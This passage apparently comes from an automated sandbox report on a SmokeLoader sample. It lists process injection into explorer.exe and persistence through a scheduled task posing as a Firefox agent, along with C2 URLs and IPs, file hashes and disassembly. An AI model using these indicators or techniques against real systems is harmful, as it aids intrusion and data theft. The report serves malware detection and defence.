Source: C:\Windows\explorer.exe	Network Connect: 201.124.145.196 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 189.164.127.217 80			Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Thread created: C:\Windows\explorer.exe EIP: 8EF19D0			Jump to behavior
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Thread created: unknown EIP: 87C19D0			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dvjdfvr	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Source: explorer.exe, 00000001.00000000.1845367065.0000000009815000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1843673761.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1842872413.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.1842872413.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.1842655910.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000001.00000000.1842872413.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000001.00000000.1842872413.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\AppData\Roaming\dvjdfvr

Code function: GetLocaleInfoA,

7_2_0040F4CC

Source: C:\Users\user\AppData\Roaming\dvjdfvr

Code function: 7_2_004029B0 GetNumberFormatW,GetTimeFormatW,GetModuleFileNameW,GetNumberFormatW,CreateJobObjectW,GetConsoleAliasExesW,CreateNamedPipeA,SetFileShortNameW,CreateProcessW,GetTimeFormatW,GetModuleFileNameW,TlsSetValue,SetEnvironmentVariableA,GetTimeFormatW,GetModuleFileNameW,

7_2_004029B0

Source: C:\Users\user\AppData\Roaming\dvjdfvr

Code function: 7_2_00408071 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

7_2_00408071

Source: C:\Users\user\AppData\Roaming\dvjdfvr

7_2_00402780

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.1862980152.0000000000630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1863029600.0000000000651000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2090513435.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2090678627.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.1862980152.0000000000630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1863029600.0000000000651000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2090513435.0000000000560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2090678627.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	33 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Virtualization/Sandbox Evasion	LSASS Memory	521 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	33 Process Injection	Security Account Manager	12 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	112 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Hidden Files and Directories	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	114 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
kGSZ4dCqYh.exe	39%	ReversingLabs	Win32.Dropper.Generic
kGSZ4dCqYh.exe	100%	Avira	HEUR/AGEN.1306978
kGSZ4dCqYh.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\dvjdfvr	100%	Avira	HEUR/AGEN.1306978
C:\Users\user\AppData\Roaming\dvjdfvr	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\dvjdfvr	39%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://aka.ms/odirmr	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	0%	URL Reputation	safe
https://powerpoint.office.comcember	0%	URL Reputation	safe
https://api.msn.com:443/v1/news/Feed/Windows?	0%	URL Reputation	safe
https://excel.office.com	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	0%	URL Reputation	safe
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	0%	URL Reputation	safe
https://api.msn.com/q	0%	URL Reputation	safe
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	0%	URL Reputation	safe
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	0%	URL Reputation	safe
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	0%	URL Reputation	safe
https://wns.windows.com/L	0%	URL Reputation	safe
https://word.office.com	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	0%	URL Reputation	safe
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://aka.ms/Vh5j3k	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	0%	URL Reputation	safe
https://api.msn.com/v1/news/Feed/Windows?&	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	0%	URL Reputation	safe
https://www.rd.com/list/polite-habits-campers-dislike/	0%	URL Reputation	safe
https://android.notify.windows.com/iOS	0%	URL Reputation	safe
https://api.msn.com/	0%	URL Reputation	safe
https://outlook.com_	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	0%	URL Reputation	safe
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
tnc-corp.ru	189.164.127.217	true	true	unknown
volisc.biz	unknown	unknown	true	unknown
liverds.at	unknown	unknown	true	unknown
livbev.online	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://volisc.biz/tmp/index.php	true	unknown
http://livbev.online/tmp/index.php	true	unknown
http://liverds.at/tmp/index.php	true	unknown
http://tnc-corp.ru/tmp/index.php	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000001.00000000.1843808640.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000001.00000000.1843808640.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://powerpoint.office.comcember	explorer.exe, 00000001.00000000.1847015156.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000001.00000000.1845367065.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://excel.office.com	explorer.exe, 00000001.00000000.1847015156.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.micro	explorer.exe, 00000001.00000000.1845946637.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1844459297.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1845010581.0000000008720000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 00000001.00000000.1843808640.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/q	explorer.exe, 00000001.00000000.1845367065.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000001.00000000.1847015156.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 00000001.00000000.1843808640.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000001.00000000.1847015156.000000000C964000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://wns.windows.com/L	explorer.exe, 00000001.00000000.1847015156.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://word.office.com	explorer.exe, 00000001.00000000.1847015156.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000001.00000000.1843808640.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://aka.ms/Vh5j3k	explorer.exe, 00000001.00000000.1843808640.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com/v1/news/Feed/Windows?&	explorer.exe, 00000001.00000000.1845367065.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000001.00000000.1847015156.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 00000001.00000000.1843808640.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://api.msn.com/	explorer.exe, 00000001.00000000.1845367065.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://outlook.com_	explorer.exe, 00000001.00000000.1847015156.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com:443/en-us/feed	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of	explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
201.124.145.196	unknown	Mexico		8151	UninetSAdeCVMX	true
189.164.127.217	tnc-corp.ru	Mexico		8151	UninetSAdeCVMX	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541371
Start date and time:	2024-10-24 18:36:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	kGSZ4dCqYh.exe renamed because original name is a hash value
Original Sample Name:	bab1912f10355b913050217669acc322.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@3/2@83/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 30 Number of non-executed functions: 19
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.190.159.2, 40.126.31.67, 40.126.31.71, 20.190.159.0, 40.126.31.69, 20.190.159.4, 20.190.159.71, 20.190.159.75
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: kGSZ4dCqYh.exe

Simulations

Behavior and APIs

Time	Type	Description
12:37:33	API Interceptor	455513x Sleep call for process: explorer.exe modified
17:37:35	Task Scheduler	Run new task: Firefox Default Browser Agent D2CFCEFC1E900624 path: C:\Users\user\AppData\Roaming\dvjdfvr

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tnc-corp.ru	file.exe	Get hash	malicious	SmokeLoader	Browse	200.45.93.45
	fCyPLsvl8A.exe	Get hash	malicious	SmokeLoader	Browse	212.112.110.243
	file.exe	Get hash	malicious	SmokeLoader	Browse	186.10.35.76
	KmVfT4SeZB.exe	Get hash	malicious	SmokeLoader	Browse	109.175.29.39
	file.exe	Get hash	malicious	SmokeLoader	Browse	92.36.226.66
	setup3.exe	Get hash	malicious	SmokeLoader	Browse	151.233.51.166
	2Qvkmk7HGr.exe	Get hash	malicious	SmokeLoader	Browse	211.171.233.126
	file.exe	Get hash	malicious	SmokeLoader	Browse	187.204.28.205
	Ypp1MuoIa1.exe	Get hash	malicious	SmokeLoader	Browse	190.220.21.28
	5iwz8543Xc.exe	Get hash	malicious	SmokeLoader	Browse	190.146.112.188

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UninetSAdeCVMX	keldRUiaay.elf	Get hash	malicious	Mirai	Browse	189.189.133.229
	powerpc.elf	Get hash	malicious	Unknown	Browse	189.176.110.248
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	201.129.155.182
	x86.elf	Get hash	malicious	Unknown	Browse	201.135.33.67
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	187.222.95.97
	botnet.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	201.111.54.93
	botnet.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	189.158.101.27
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	187.141.238.128
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	189.157.241.183
	na.elf	Get hash	malicious	Unknown	Browse	187.171.251.143
UninetSAdeCVMX	keldRUiaay.elf	Get hash	malicious	Mirai	Browse	189.189.133.229
	powerpc.elf	Get hash	malicious	Unknown	Browse	189.176.110.248
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	201.129.155.182
	x86.elf	Get hash	malicious	Unknown	Browse	201.135.33.67
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	187.222.95.97
	botnet.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	201.111.54.93
	botnet.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	189.158.101.27
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	187.141.238.128
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	189.157.241.183
	na.elf	Get hash	malicious	Unknown	Browse	187.171.251.143

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\dvjdfvr

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	399360
Entropy (8bit):	6.446097347649339
Encrypted:	false
SSDEEP:	6144:StLH/6zftGuIHMvxZ8NQhrOjAx99iqyyvw9R81aPFhbpxA5HcH/kWTW:SqfIu2GmOssxyyIL81aPFhtGuj
MD5:	BAB1912F10355B913050217669ACC322
SHA1:	17848E8AA5E443C06D495C500E642BE0967CABE6
SHA-256:	38DC7521A2E99FB4C095F74B51DADF8B10FDF680ECBCECB419E6720E8151096D
SHA-512:	A96A1B0190A97E1D61AE00D82E85AB720A80C976D0F450EEAA4A9237EA337DC674746E23C458AA3023044CB7F9B6AD9D39A73C4401875876192D14FC437D012A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Z...Z...Z...D...z...D...B...D.......}3.._...Z...'...D...[...D...[...D...[...RichZ...................PE..L....z.d.................r...\.......:............@.................................=.......................................tw..<.......X+......................H....................................&..@............................................text....p.......r.................. ..`.data...\........`...v..............@....rsrc...X+.......,..................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\dvjdfvr:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.446097347649339
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	kGSZ4dCqYh.exe
File size:	399'360 bytes
MD5:	bab1912f10355b913050217669acc322
SHA1:	17848e8aa5e443c06d495c500e642be0967cabe6
SHA256:	38dc7521a2e99fb4c095f74b51dadf8b10fdf680ecbcecb419e6720e8151096d
SHA512:	a96a1b0190a97e1d61ae00d82e85ab720a80c976d0f450eeaa4a9237ea337dc674746e23c458aa3023044cb7f9b6ad9d39a73c4401875876192d14fc437d012a
SSDEEP:	6144:StLH/6zftGuIHMvxZ8NQhrOjAx99iqyyvw9R81aPFhbpxA5HcH/kWTW:SqfIu2GmOssxyyIL81aPFhtGuj
TLSH:	4C84E1113AA0F870C5520E304D28D3E97ABEFC729A64598B371C7F5F7C39391A6A6706
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Z...Z...Z...D...z...D...B...D.......}3.._...Z...'...D...[...D...[...D...[...RichZ...................PE..L....z.d...........

File Icon


Icon Hash:	63796de971436e0f

Static PE Info

General

Entrypoint:	0x403a18
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x64F07A8F [Thu Aug 31 11:33:35 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	60292dd185c67d0ddd8dc10e8ecfb2bb

Entrypoint Preview

Instruction
call 00007F1F98815669h
jmp 00007F1F98810E8Eh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
call 00007F1F9881104Ch
xchg cl, ch
jmp 00007F1F98811034h
call 00007F1F98811043h
fxch st(0), st(1)
jmp 00007F1F9881102Bh
fabs
fld1
mov ch, cl
xor cl, cl
jmp 00007F1F98811021h
